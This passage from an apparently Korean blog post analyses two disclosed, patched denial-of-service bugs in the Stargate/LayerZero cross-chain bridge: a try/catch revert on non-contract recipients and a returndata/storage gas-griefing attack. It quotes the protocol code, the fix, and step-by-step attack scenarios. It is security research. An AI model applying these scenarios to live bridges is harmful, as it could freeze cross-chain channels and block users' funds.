    uint256 _dstGasForCall,
    address _to,
    Pool.SwapObj memory _s,
    bytes memory _payload
) external onlyBridge {
    _swapRemote(_srcChainId, _srcAddress, _nonce, _srcPoolId, _dstPoolId, _dstGasForCall, _to, _s, _payload);
}

_swapRemote() 함수를 따라가보자.


function _swapRemote(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint256 _nonce,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
    uint256 _dstGasForCall,
    address _to,
    Pool.SwapObj memory _s,
    bytes memory _payload
) internal {
    Pool pool = _getPool(_dstPoolId);
    // first try catch the swap remote
    try pool.swapRemote(_srcChainId, _srcPoolId, _to, _s) returns (uint256 amountLD) {
        if (_payload.length > 0) {
            // then try catch the external contract call
            try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) {
                // do nothing
            } catch (bytes memory reason) {
                cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);
                emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);
            }
        }
    } catch {
        revertLookup[_srcChainId][_srcAddress][_nonce] = abi.encode(
            TYPE_SWAP_REMOTE_RETRY,
            _srcPoolId,
            _dstPoolId,
            _dstGasForCall,
            _to,
            _s,
            _payload
        );
        emit Revert(TYPE_SWAP_REMOTE_RETRY, _srcChainId, _srcAddress, _nonce);
    }
}

Stargate의 주요 기능 중 하나는 swap의 수신자가 임의의 로직을 실행할 수 있게 하는 것이다. swap() 함수를 호출할 대 bytes 타입의 payload를 전달할 수 있으며, 이는 sgReceive() 함수의 진입점으로 전달된다. 이때 swap을 수행하는 사용자는 dstGasForCall을 지불한다.


try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload)

실행의 중요성과 문제점


swap의 실행이 Bridge 수준에서 실패하지 않도록 하는 것은 매우 중요하다. 왜냐하면 src Bridge와 dest Bridge간에 전달되는 payload들은 순차적으로 진행되기 때문이다. 즉 전의 payload가 해결되지 못하면 진행이 안된다. 이러한 이유로 LayerZero는 사용자의 sgReceive() 함수에서 발생하는 exception들을 주의 깊게 처리하고, 오류를 local cache에 저장하며, 정상적으로 반환되도록 했다.


특이 상황


Solidity에서는 try/catch 구문에서 호출 대상이 계약이 아닌 경우, 해당 구문은 catch 절로 가지 않고 revert된다. 이는 Solidity 문서에 언급되지 않았다.


시나리오


위 Solidity의 특성을 활용하여 시나리오를 짜보자.


  1. 공격자가 적은 양의 트콘을 사용하여 모든 Bridge<>Bridge 쌍을 이용하여 swap을 시도한다.
  2. 이들은 1 byte payload를 계약이 아닌 주소로 전달한다.
  3. 이 전달은 Bridge에서 revert 될 것이다.

Patch


이 버그를 발견한 팀은 2023년 9월 6일에 Stargate에 제보했다. Stargate 측은 이미 이 문제를 알고 있으며, 검증 라이브러리에서 처리된다고 답변했다. Stargate 코드에서는 바뀐 점을 찾을 수 없지만, LayerZero 코드에서 수정 사항이 발견되었다. 이는 MPTvalidator contract에 있다.


// if contractCallPayload.length > 0 need to check if the to address is a contract or not
if (contractCallPayload.length > 0) {
    // otherwise, need to check if the payload can be delivered to the toAddress
    address toAddress = address(0);
    if (toAddressBytes.length > 0) {
        assembly {
            toAddress := mload(add(toAddressBytes, 20))
        }
    }

    // check if the toAddress is a contract. We are not concerned about addresses that pretend to be wallets. because worst case we just delete their payload if being malicious
    // we can guarantee that if a size > 0, then the contract is definitely a contract address in this context
    uint size;
    assembly {
        size := extcodesize(toAddress)
    }

    if (size == 0) {
        // size == 0 indicates its not a contract, payload wont be delivered
        // secure the _payload to make sure funds can be delivered to the toAddress
        bytes memory newToAddressBytes = abi.encodePacked(toAddress);
        bytes memory securePayload = abi.encode(functionType, srcPoolId, dstPoolId, dstGasForCall, c, s, newToAddressBytes, bytes(""));
        return securePayload;
    }
}

contractCallPayload의 길이가 0보다 크면, toAddress가 Assembly extcodesize를 이용하여 계약 주소 검증을 한다. 이때 extcodesize가 0이라면, toAddress가 계약 주소가 아니라는 것을 의미하므로 payload가 전달되지 않도록 하며, securePayload를 생성하여 payload를 초기화한다.

이 검증은 LayerZero를 통해 브리지되는 모든 메시지에 대해 수행된다. 대상이 Stargate Bridge이고, 스왑 호출이며, payload가 있으며, 대상이 계약인 경우 payload를 초기화하여(securePayload)이 문제를 해결한다. payload가 0이면 Bridge는 sgReceive()를 호출하지 않는다. 이로 인해 DoS 공격 벡터가 제거된다.


Summary


Stargate의 swap 함수는 계약이 아닌 주소로의 호출 시 발생할 수 있는 예외 상황을 고려하지 않으면 채널이 영구적으로 lock될 수 있다. 이를 방지하기 위해 대상 주소가 계약인지 확인하는 추가적인 검증 단계가 필요해 보인다.

LayerZero 팀이 발견하고 수정했으며, 수정 사항은 다른 계층에서 이루어졌다.


Bug 2 - ReturnBomb-data Attack


What is the ReturnData-Bomb Attack?


GitHub - nomad-xyz/ExcessivelySafeCall: excessively safe solidity calls

 

GitHub - nomad-xyz/ExcessivelySafeCall: excessively safe solidity calls

excessively safe solidity calls. Contribute to nomad-xyz/ExcessivelySafeCall development by creating an account on GitHub.

github.com


Solidity에서 low-level 호출(<address>.call())은 호출 수신자가 반환한 모든 바이트를 메모리에 자동으로 복사한다는 특징이 있다. EVM 실행 중 메모리를 사용하면 gas fee가 발생하고, 메모리가 확장될 때마다 gas fee가 발생한다.

만약 전달된 data의 양이 많았다면 local memory에 복사된 양도 많을 것이고, 메모리 확장 비용도 이에 따라 들 것이다. 이 gas fee는 호출자와 호출자의 계약에서 지불되기 때문에 호출자의 gas가 부족해 실행이 중단될 수 있다. 따라서 호출자가 알 수 없는 계약을 호출하기 전에 고려해야 할 가능성이 있는 DoS vector는 호출자가 gas가 부족하여 실행이 중단될 수 있는 returnbomom attack이다.

이러한 공격을 방지하기 위해 yul/assemblies를 사용하여 메모리에 복사해야 하는 데이터의 양을 명시적으로 결정할 수 있다.

메모리 확장에 비용이 발생한다는 점이 궁금하다면 아래를 참고하자.


What is the memory expansion cost?

 

What is the memory expansion cost?

I am trying to understand the memory expansion cost. We can see in the Ethereum Yellow Paper that there's this formula to count the memory cost: Now, it's also said that this formula doesn't inclu...

ethereum.stackexchange.com


Bug Analysis


이 팀은 브리지에 대한 DoS를 수행하는 다른 방법을 찾았다. Stargate와 LayerZero의 브리지 시스템에서 sgReceive() 콜백 함수는 중요한 부분이다. sgReceive() 함수는 특정 이벤트가 발생했을 때 호출되며, 사용자가 정의한 콜백 로직을 실행한다. 중요한 점은, 이 콜백 로직이 실패할 경우 전체 채널이 차단될 수 있다는 것이다. 이를 방지하기 위해 try/catch 블록을 사용하여 예외를 처리하고 있다.


function _swapRemote(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint256 _nonce,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
    uint256 _dstGasForCall,
    address _to,
    Pool.SwapObj memory _s,
    bytes memory _payload
) internal {
    Pool pool = _getPool(_dstPoolId);
    // first try catch the swap remote
    try pool.swapRemote(_srcChainId, _srcPoolId, _to, _s) returns (uint256 amountLD) {
        if (_payload.length > 0) {
            // then try catch the external contract call
            try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) {
                // do nothing
            } catch (bytes memory reason) {
                cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);
                emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);
            }
        }
    } catch {
        revertLookup[_srcChainId][_srcAddress][_nonce] = abi.encode(
            TYPE_SWAP_REMOTE_RETRY,
            _srcPoolId,
            _dstPoolId,
            _dstGasForCall,
            _to,
            _s,
            _payload
        );
        emit Revert(TYPE_SWAP_REMOTE_RETRY, _srcChainId, _srcAddress, _nonce);
    }
}

 


Stargate 요청의 경우, 소스 Bridge는 사용자에게 브리징 수수료를 부과한다. 스왑의 경우, 사용자는 고정된 175,000 가스와 콜백을 위한 dstGasForCall를 지불한다. 만약 전달된 가스가 지불한 가스 양을 초과하여 실행 중에 revert를 일으킬 수 있다면, 이는 DoS 벡터임을 의미한다.

sgReceive 함수 호출에 대해 175,000 가스가 할당되는데, 이 값은 충분히 큰 버퍼를 포함하고 있어 가스 초과로 인해 호출이 실패하기 어려워 보인다. 그래서 이 버그를 찾은 팀은 returndata-bomb Attack의 변형을 시도했다. 그 방법은 외부 호출이 gas를 소비하기 위해 large bytes blobs를 반환하는 것이다.


try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) {
    // do nothing
} catch (bytes memory reason) {
    cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);
    emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);
}

  • try : sgReceive 메서드를 호출하려고 시도한다. 이때 _dstGasForCall만큼의 gas를 할당한다.
  • catch : sgReceive 메서드 호출이 실패하면 예외가 발생하고, 그 예외 정보를 reason 변수에 저장한다. 이후 캐시된 스왑 데이터를 저장하고 CachedSwapSaved Event를 발생시킨다.

catch 문에서 예외가 발생할 때 큰 데이터를 reason 변수에 저장하여 gas를 소모시킬 수 있다. catch문을 남용하여 큰 메세지를 return시키면 이는 reason의 byte memory가 복사된다.

이 보고서를 작성한 팀은 이 공격이 실용적일 만큼 충분한 gas를 낭비하는 방법을 찾지 못했다. 하지만 이 아이디어는 흥미로운 발견으로 이끌었다고 한다.

catch문은 전체 payload를 storage에 복사한다. Solidity에서 SSTORE 명령어는 zero to non-zero 상태로 변경 시 22,100 gas를 소모한다. payload가 최대 10,000 byte로 제한되었을 때, 각 SSTORE는 32 byte를 저장할 수 있다. 이때 총 313번의 SSTORE가 필요하며 총 gas 소모량은 313 * 22,100 = 6,917,300 gas이다. 그리고 emit CachedSwapSaved() 이벤트는 payload의 전체 내용을 로그에 기록하는데 로그 저장은 추가적인 gas를 소모한다( 약 80,000 gas ).


Exploit


  1. 공격자는 특정 계약 주소를 타겟으로 하여, 큰 payload를 포함한 Swap 요청을 보낸다.
  2. sgReceive 메서드가 호출될 때, payload를 포함한 큰 데이터를 처리하려고 시도한다.
  3. sgReceive 메서드가 호출되면, 악의적인 컨트랙트는 gas를 소모한다.
  4. gas가 다 소모되면 sgReceive는 revert되고, catch 문이 실행된다.
  5. catch 문에서 예외를 처리하기 위해 payload를 저장소에 저장하려고 시도한다.
  6. 큰 payload를 저장하는 과정에서 OOG(Out Of Gas)가 발생하여 Bridge가 revert한다.
  7. payload는 Endpoint에 저장되고, 이후 다른 브릿징 작업을 차단한다.
  8. Relayer는 unfreeze를 위해 7M 이상의 gas를 제공해야 한다. 이를 수행하지 않으면 계속 차단된 상태로 유지된다

Patch


Stargate는 위 취약점을 해결하기 위해 Router를 재배포하지 않고 추가적인 추상화 계층을 도입했다. StargateComposer를 통해 사용자들이 swap 시 직접 payload를 제공하는 것을 막고, Composer를 통해서만 안전하게 호출되도록 설계하였다.


Reference Link



'Blockchain' 카테고리의 다른 글

Damn Vulnerable DeFi Challenge #6 - Selfie  (0) 2024.07.05
Damn Vulnerable DeFi Challenge #5 - The Rewarder  (1) 2024.07.05
LZ Case Analyze  (0) 2024.05.27
Damn Vulnerable DeFi Challenge #4 - Side Entrance  (0) 2024.05.19
CL-2023-01  (1) 2024.05.13

+ Recent posts